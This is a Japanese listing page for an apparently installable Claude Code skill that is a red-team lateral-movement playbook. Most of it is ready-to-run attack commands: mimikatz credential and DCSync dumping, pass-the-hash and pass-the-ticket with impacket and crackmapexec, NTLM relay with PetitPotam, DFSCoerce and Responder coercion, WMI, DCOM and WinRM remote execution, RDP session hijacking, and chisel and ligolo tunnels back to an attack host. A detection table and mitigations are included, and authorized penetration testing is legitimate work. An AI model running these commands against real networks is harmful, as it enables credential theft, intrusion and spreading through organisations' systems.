mcpField
O
offensive-lateral-movement

offensive-lateral-movement

github.com/snailsploitセキュリティ9.7k130 回インストール2 週間前に更新
リポジトリ

offensive-lateral-movement について

許可を得たレッドチーム演習向けに、初期侵入後のネットワーク内移動を扱うセキュリティスキルです。認証情報の利用、リモート実行、セッションハイジャック、トンネリングと検知情報をまとめています。

主な機能

  1. 01認証情報とチケットの再利用
  2. 02NTLM リレー手法
  3. 03リモート実行方法
  4. 04RDP セッションハイジャック
  5. 05SSH とネットワークトンネル
  6. 06検知と OPSEC の解説

活用シーン

  1. 01許可された演習での横方向アクセス評価
  2. 02認証情報に応じた実行方法の選択
  3. 03踏み台経由での分離ネットワークへの接続

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-lateral-movement

インストール後、Claude Code で/offensive-lateral-movementを入力して読み込まれたか確認します。

詳細

攻撃的なラテラルムーブメント

ラテラルムーブメントとは、最初の侵害後にネットワーク内でアクセス範囲を広げるフェーズです。窃取した認証情報、トークンの操作、またはプロトコルの悪用によって、あるシステムから別のシステムへピボットします。目標は、検知の痕跡を最小限に抑えながら、ドメインコントローラー、データベースサーバー、ファイル共有などの高価値なターゲットに到達することです。ここで説明するすべての手法は、現在のホストで少なくとも1つの有効な認証情報またはセッショントークンを保持していることを前提とします。

このスキルでは、認証情報を利用した移動、NTLM リレー、リモート実行プロトコル、セッションハイジャック、ネットワークトンネリングについて説明します。これらは、許可されたエンゲージメントでのみ適用してください。

クイックワークフロー

  1. アクセス可能なホストと開いているポート(445、5985、5986、3389、22、135)を列挙します。
  2. 現在のホストから認証情報を収集します(LSASS、SAM、キャッシュされた認証情報)。
  3. crackmapexec/netexec を使って、発見したホスト間で認証情報の再利用をテストします。
  4. 利用可能な認証情報とターゲットのサービスに基づいて、移動手法を選択します。
  5. さらに移動する前に、新しいホストで永続化を確立します。
  6. セグメント化されたネットワークに到達する必要がある場合は、トンネリングを設定します。
  7. エンゲージメントレポート用に、ピボットごとに記録します。

Pass-the-Hash

Pass-the-hash(PtH)を使うと、プレーンテキストのパスワードを知らなくても、NTLM ハッシュで認証できます。LSASS、SAM データベース、または NTDS.dit からハッシュを抽出し、認証リクエストに注入します。

現在のホストで mimikatz を使ってハッシュを抽出します。

# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords

# Dump SAM hashes (requires SYSTEM)
lsadump::sam

# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv

crackmapexec(または netexec)を使って、ネットワーク上でハッシュを試します。

# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"

# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares

シェルアクセスには impacket を使います。

# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/[email protected]

# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/[email protected]

# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>

OPSEC に関する注意:PsExec はターゲット上にサービスを作成します(イベント 7045)。可能な場合は wmiexec または evil-winrm を優先してください。複数のハッシュに対して複数のユーザーをテストする際は、crackmapexec の --no-bruteforce を指定すると、アカウントロックアウトを防げます。


Pass-the-Ticket と Overpass-the-Hash

Pass-the-ticket(PtT)は、盗んだ Kerberos TGT または TGS をセッションに注入し、チケットの所有者として認証できるようにします。Overpass-the-hash は、NTLM ハッシュを Kerberos チケットに変換し、ハッシュだけで Kerberos ベースのアクセスを可能にします。

mimikatz を使って、メモリからチケットをエクスポートします。

# List all Kerberos tickets in memory
sekurlsa::tickets /export

# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi

Overpass-the-hash — NTLM ハッシュを使って Kerberos TGT をリクエストします。

# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe

Linux から impacket を使う場合:

# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache

# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/[email protected]

特定の SPN のサービスチケットをリクエストします。

# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

OPSEC に関する注意:Kerberos 認証では、イベント 4768(TGT リクエスト)と 4769(TGS リクエスト)が生成されます。Overpass-the-hash は、AES がドメインのデフォルトである場合に、RC4 暗号化を使用する異常な 4768 を生成します。これは既知の検知シグナルです。


NTLM リレー攻撃

NTLM リレーでは、認証の試行を捕捉し、ターゲットのサービスに転送します。マシンにリスナーへの認証を強制し、その認証を SMB 署名が強制されていない別のホストに中継します。

ネットワーク全体で SMB 署名を確認します。

# Identify hosts without SMB signing required
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# Alternative with nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24

捕捉した認証を中継するように ntlmrelayx を設定します。

# Relay to targets without SMB signing, dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support

# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt"

# Relay to LDAP for delegation abuse or shadow credentials
impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$

# Relay to ADCS web enrollment for certificate theft
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

PetitPotam(MS-EFSR の悪用)で認証を強制します。

# Unauthenticated coercion (patched but often still works)
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>

# Authenticated coercion
python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>

DFSCoerce(MS-DFSNM)で強制します。

python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>

PrinterBug(MS-RPRN)で強制します。

python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>

ポイズニングと捕捉のために Responder を設定します。

# Poison LLMNR/NBT-NS and capture hashes
responder -I eth0 -wFb

# Run in analysis mode first to identify traffic
responder -I eth0 -A

OPSEC に関する注意:NTLM リレーは検知されやすい手法です。Responder のポイズニングは、重複する名前解決応答を監視することで検知できます。PetitPotam による認証の強制では、DC からリスナーへのログオンとして、イベント 4624 の種類 3 が生成されます。


リモート実行の手法

有効な認証情報があれば、複数のプロトコルを使ってリモートコマンドを実行できます。それぞれ、異なるフォレンジック上の痕跡を残します。

WMI 実行
# impacket wmiexec -- semi-interactive shell via WMI
impacket-wmiexec corp.local/admin:[email protected]

# Execute a single command
impacket-wmiexec corp.local/admin:[email protected] "ipconfig /all"

# With hash
impacket-wmiexec -hashes :<NT_HASH> corp.local/[email protected]

WMI はサービスを作成しません。出力は ADMIN$ 共有上の一時ファイルに書き込まれ、そこから読み戻されます。WMI イベントログ(Microsoft-Windows-WMI-Activity)が生成されます。

WinRM / PSRemoting
# evil-winrm interactive shell
evil-winrm -i 10.10.10.50 -u admin -p 'Password1'

# With hash
evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH>

# Upload/download files
upload /local/path/payload.exe C:\Windows\Temp\payload.exe
download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt
# Native PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred
Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }

WinRM を使用するには、ポート 5985(HTTP)または 5986(HTTPS)が開いており、ユーザーが Remote Management Users グループに属しているか、ローカル管理者である必要があります。

PsExec と代替手段
# impacket psexec -- creates a service, uploads binary
impacket-psexec corp.local/admin:[email protected]

# smbexec -- no binary upload, uses cmd.exe service
impacket-smbexec corp.local/admin:[email protected]

# atexec -- scheduled task execution
impacket-atexec corp.local/admin:[email protected] "whoami"

# dcomexec -- DCOM MMC20.Application or ShellWindows
impacket-dcomexec -object MMC20 corp.local/admin:[email protected]
DCOM によるラテラルムーブメント
# Instantiate MMC20.Application on remote host
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7")

# ShellWindows method
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)

DCOM では、ポート 135 と動的 RPC ポートが必要です。DCOM イベントログが生成されます (DistributedCOM 10016 エラーはよく見られる兆候です)。


RDP セッションのハイジャック

ターミナルサーバーで SYSTEM 権限を持っていれば、セッション所有者のパスワードを知らなくても、切断された RDP セッションをハイジャックできます。

# List active sessions
query user

# Hijack a disconnected session (requires SYSTEM context)
# Session ID 2, redirect to your console session
tscon 2 /dest:console

# Create a service to run tscon as SYSTEM
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console"
net start sesshijack

この手法(T1563.002)は、管理者がセッションを切断状態のままにする踏み台サーバーで特に強力です。イベント 4778(セッション再接続)と 4779(セッション切断)が記録されます。


SSH によるピボットとトンネリング

Linux ホスト、または OpenSSH がインストールされた Windows ホストに侵入したら、通常はアクセスできないネットワークセグメントに到達するためのトンネルを設定します。

SSH トンネル
# Local port forward: access 10.10.20.50:445 through pivot host
ssh -L 8445:10.10.20.50:445 user@pivot-host

# Dynamic SOCKS proxy through pivot host
ssh -D 1080 user@pivot-host

# Use proxychains with the SOCKS proxy
proxychains crackmapexec smb 10.10.20.0/24

# Remote port forward: expose internal service to your attack box
ssh -R 8080:127.0.0.1:80 user@attack-box
Chisel
# On your attack box (server mode)
chisel server --reverse --port 8080

# On the pivot host (client, reverse SOCKS)
chisel client <ATTACK_IP>:8080 R:socks

# This creates a SOCKS5 proxy on attack box port 1080
# Use with proxychains
proxychains impacket-psexec corp.local/admin:[email protected]
Ligolo-ng
# On attack box: start the proxy
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# On pivot host: connect the agent
ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert

# In the ligolo interface, add a route to the target network
>> session
>> ifconfig
>> start
# On attack box, add route
sudo ip route add 10.10.20.0/24 dev ligolo

Ligolo-ng は攻撃側のマシンに TUN インターフェースを作成し、proxychains を必要とせずに、ターゲットネットワークへ IP レイヤーで直接アクセスできるようにします。プロキシ設定に対応していないツールでは、SOCKS プロキシを使うよりも大幅に信頼性が高くなります。

二重ピボット
# Chain two SSH tunnels for multi-hop pivoting
# Hop 1: pivot1 can reach pivot2
ssh -L 2222:pivot2:22 user@pivot1

# Hop 2: through pivot2 to the final target network
ssh -L 8445:10.10.30.50:445 -p 2222 [email protected]

# Chisel double pivot
# Attack -> pivot1 -> pivot2 -> target
# On pivot1: chisel server + client chained
chisel server --port 9001 --reverse
chisel client <ATTACK_IP>:8080 R:socks
# On pivot2: connect through pivot1
chisel client pivot1:9001 R:1081:socks

検出/防御側の視点

防御側が何を調べるのかを理解し、検出リスクを評価してください。

手法主な検出方法イベント ID/ログ
Pass-the-Hash先行するタイプ 10 なしでタイプ 3 の NTLM ログオン4624(ログオンタイプ 3、9)
Pass-the-TicketAES がデフォルトのときに RC4 を使用した TGT リクエスト4768、4769
NTLM リレーマシンアカウントが通常とは異なるサービスに対して認証4624、NTLM 監査ログ
PsExecサービスの作成、ADMIN$ 共有へのアクセス7045、5145
WMIWMI プロセスの作成、ADMIN$ 上の一時ファイルWMI-Activity、4688
WinRMWSMan 接続、PowerShell リモーティングのログMicrosoft-Windows-WinRM
DCOMDistributedCOM エラー、RPC トラフィック10016、4688
RDP ハイジャックログオンなしでのセッション再接続4778、4779
Chisel/Ligolo通常とは異なる送信接続、TUN インターフェースNetflow、Sysmon 3

遭遇する主な防御側の対策:

  • SMB 署名の強制により、リレー攻撃を完全に阻止できます。
  • Credential Guard は、最新の Windows での LSASS ハッシュ抽出を防ぎます。
  • Windows Defender Credential Guard は、メモリ内の Kerberos チケットを保護します。
  • LAPS は、ホストごとにローカル管理者のハッシュを固有にし、PtH の影響範囲を制限します。
  • 階層型管理により、特権アカウントがログオンできる場所を制限します。
  • ネットワークセグメンテーションにより、ラテラルアクセス可能な範囲を制限します。
  • 適切に構成された Sysmon は、プロセスの作成、ネットワーク接続、名前付きパイプのイベントを記録し、ここで紹介したほとんどの手法を明らかにします。

エンゲージメント用チートシート

よくあるラテラルムーブメントのシナリオをすぐに参照できます。

SCENARIO                          TECHNIQUE                    TOOL / COMMAND
-------------------------------   --------------------------   ----------------------------------------
Have NTLM hash, SMB open          Pass-the-Hash                crackmapexec smb -H / impacket-wmiexec -hashes
Have NTLM hash, WinRM open        PtH over WinRM               evil-winrm -H
Have cleartext creds               PSRemoting / WinRM           evil-winrm -u -p / Enter-PSSession
Have Kerberos ticket               Pass-the-Ticket              export KRB5CCNAME= / kerberos::ptt
No creds, SMB signing off          NTLM Relay                   ntlmrelayx + PetitPotam/Responder
SYSTEM on terminal server          RDP Hijack                   tscon <ID> /dest:console
Need to reach segmented net        Tunneling                    chisel / ligolo-ng / ssh -D
Linux pivot host                   SSH tunneling                ssh -D 1080 / ssh -L
Need full IP-layer access          Ligolo-ng                    ligolo-proxy + ligolo-agent
Multi-hop pivot                    Chained tunnels              SSH ProxyJump / chisel chain
Domain creds, want Kerberos        Overpass-the-Hash            sekurlsa::pth / impacket-getTGT
Need stealth execution             WMI / DCOM                   impacket-wmiexec / dcomexec

MITRE ATT&CK のリファレンス:

  • T1021 -- リモートサービス(.001 RDP、.002 SMB、.003 DCOM、.004 SSH、.006 WinRM)
  • T1550 -- 代替認証情報の使用(.002 PtH、.003 PtT)
  • T1557 -- 中間者攻撃(.001 LLMNR/NBT-NS ポイズニング)
  • T1563 -- リモートサービスセッションのハイジャック(.002 RDP ハイジャック)

主な参考資料

コメント